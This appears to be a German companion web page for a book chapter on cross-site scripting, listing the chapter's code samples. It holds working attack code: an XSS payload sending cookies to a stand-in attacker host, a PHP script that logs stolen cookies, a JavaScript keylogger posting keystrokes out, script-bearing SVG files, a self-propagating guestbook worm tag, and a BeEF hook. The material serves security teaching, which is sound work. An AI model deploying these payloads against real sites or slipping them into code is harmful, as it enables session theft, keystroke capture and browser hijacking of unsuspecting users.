Kapitel 5 - Cross-Site Scripting

5.3 - Angriffe über XSS

5.3.2 - Jetzt wollen wir mal eskalieren...

Ausspähen von Cookies

Der über XSS einzuschleusende Code:

<script>document.location.replace('http://www.angreifer.example/cookie-sammler.php?geklautercookie='+document.cookie)</script>

Im URL müssen Sie www.angreifer.example durch den Server ersetzen, auf dem das Skript cookie-sammler.php läuft. Außerdem müssen natürlich auch der Pfad zum Skript eingefügt werden, falls es nicht im Webroot-Verzeichnis liegt.

Der Inhalt von cookie-sammler.php (Listing 5.1):

<?php

   // Daten sammeln
   $geklautercookie = $_GET["geklautercookie"];
   $ip = getenv ("REMOTE_ADDR");
   $referer = getenv("HTTP_REFERER");
   $datum = date("j. F Y, H:i");
   
   // Eintrag zusammenstellen
   $daten = "Cookie: ".$geklautercookie." <br>";
   $daten = $daten."IP: ".$ip." <br>";
   $daten = $daten."Referer: ".$referer." <br>";
   $daten = $daten."Datum und Zeit: ".$datum." <br>";
   $daten = $daten." <hr> <br>";
   
   // Eintrag in Datei schreiben
   $datei = fopen("geklaut.html", "a+");
   fwrite($datei, $daten);
   fclose($datei);
?>

Sie können das Skript auch direkt übernehmen: cookie-sammler.php.txt

Ausspähen von Tastatureingaben

Ausgabe von Tastendrücken in der Statuszeile des IE (Listing 5.2):

<script>
   var keylog = 'Tastendrücke: ';
   
   document.onkeypress = function () {
      window.status = keylog += String.fromCharCode(window.event.keyCode);
   }
</script>

Ein einfacher Keylogger (Listing 5.3)

<script>
    var serviceURL = "http://www.angreifer.example/tasten-sammler.php"; 
    var req = new XMLHttpRequest();
    var keylog = '';
    document.onkeypress = function () {
       keylog += String.fromCharCode(window.event.keyCode);
       sendeDaten(keylog) 
    }
    
    function sendeDaten(daten) {
        req.open("POST", serviceURL + "?tasten=" + encodeURIComponent(daten.value), true);
        req.send(null);
    }
</script>

Das Skript tasten-sammler.php können Sie sich bei Bedarf selbst implementieren.

5.3.3 Angriffe im lokalen Netz: Portscan über JavaScript

Statt der einzelnen Listings gibt es hier zwei Scanner zum Testen:

5.4 - Webwürmer

Vollständiger Sourcecode samt Beschreibung der drei vorgestellten Web-Würmer:

5.9 - Die Demo-Anwendung

5.9.6 - SVG - Für die einen ein Bild, für die anderen ein XSS-Angriff

SVG-Bilder mit XSS-Angriff darin:

Zuerst eine valide SVG-Datei, mit XSS-Code, aber ganz ohne Bild:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
   <script  type="text/javascript">
      alert("Kein SVG-Bild, sondern ein XSS-Angriff!")
  </script>
</svg>

Hier auch als SVG-Datei.

Und nun das ganze mit Bild dazu:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
   <script  type="text/javascript">
      alert("Kein SVG-Bild, sondern ein XSS-Angriff!")
  </script>
  <circle cx="50" cy="50" r="25" fill="#c32e04" onclick="meldung()" />
</svg>

Und ebenfalls als SVG-Datei.

Das ganze lässt sich auch noch weiter treiben: Hier ein "SVG-Bild" mit onload-Event:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 440 250">
    <defs>
        <script type="text/javascript">
            <![CDATA[
                function meldung(){
                    alert('XSS-Angriff erfolgreich!');
                }
            ]]>
      </script>
    </defs>
  
    <circle cx="50" cy="50" r="25" fill="#c32e04" onload="meldung()" />
	
</svg>

Natürlich auch als SVG-Datei.

Und zum Abschluss noch ein "SVG-Bild" mit onload-Event:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 440 250">
    <defs>
        <script type="text/javascript">
            <![CDATA[
                function meldung(){
                    alert('SVG-Element wurde angeklickt!');
                }
            ]]>
      </script>
    </defs>
  
    <circle cx="50" cy="50" r="25" fill="#c32e04" onclick="meldung()" />
	
</svg>

Und zum letzten Mal eine SVG-Datei.

Wie sieht es eigentlich mit einem Web-Wurm aus?

Der Code für den "Web-Wurm":

<img src="index.php?aktion=eintragen&titel=Der%20Wurm%20ist%20los!&text=Drin!">

5.9.8 - Jetzt kommt BeEF!

Die Weboberfläche von BeEF finden Sie unter

http://172.16.177.130:3000/ui/panel

und der "Hook-Code", den Sie in die Webanwendung einschleusen müssen, lautet

<script src="http://172.16.177.130:3000/hook.js"></script>

Die IP-Adresse 172.16.177.130 müssen Sie natürlich jeweils durch die von Ihrem Kali Linux ersetzen, der Port .:3000 muss aber erhalten bleiben.

Die Links


Zurück